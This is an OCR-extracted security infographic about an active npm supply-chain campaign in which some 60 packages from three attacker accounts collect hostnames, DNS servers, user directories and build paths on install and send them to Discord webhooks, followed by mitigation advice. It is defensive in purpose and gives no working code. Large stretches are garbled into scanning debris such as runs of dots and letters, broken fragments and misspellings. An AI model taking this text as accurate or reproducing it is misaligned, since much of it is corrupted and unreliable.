developer environments or CI/CD infrastructure

While the current payload is limited to reconnaissance, it creates a risk of laying down some
deeper intrusions.



Malicious Package Overview

The infected systems include developer workstations and CI/CD infrastructure, which are rich
targets for attakers due to access privileges and code repositories. More than 3,000
downloads have been recoded so far, providing attackers with valuable network
reconnaissance data that could be leveraged for targeted intrusions.

bbbb335656 ...................... Publish 20 packages ==sssssssssasararass » Seatable -----------------------------
— ..................... Publish 20 packages .................... ’- ........................................
Cdsfdfafd1232436437 .............. Publish 20 packages +====ssssxs= » seamless_sppmy ...............................
3 Attacker Accounts Example of Malicious npm Packages

When user
begins installation

Collects Information like:

) Discord Webhook Endpoint .. pk
Enable (Controlled by Threat Actor) Hostnames internal and External f
mapping ’ —
of R
L
DNS Server User Directory
‘-_‘ Configurations Paths
v
Used for future attacks like =========++ g, !

Developer & CI/CD Networks for internal

infrastructure, registry URLs and build paths CO

Target Selection Supply chain compromise

The operation is still active with ongoing uploads to npm



Security Recommendations

The operation is still active with ongoing uploads to npm.

4 )

I Urgently remove or quarantine the identified

Immediate Mitigation

60 packages if resent in your environment

Block the Discord webhook endpoints used
for exfiltration

&

Preventive
MethOdS\ Secure your CI/CD pipeline )

[ Long-Term Defense

Use dependency scanning tools that

highlight suspicious postinstall hooks, small
.tgz tarballs and hardcoded URLs

Employ tools like Socket’s Github App and CLI
to detect malicious patterns in pull request
and Socket Browser Extension to view package
\risk scores

Implement automated scans to detect and
prevent the use of unverified npm packages

Regularly audit the dependencies and
packages used in builds

AN

J
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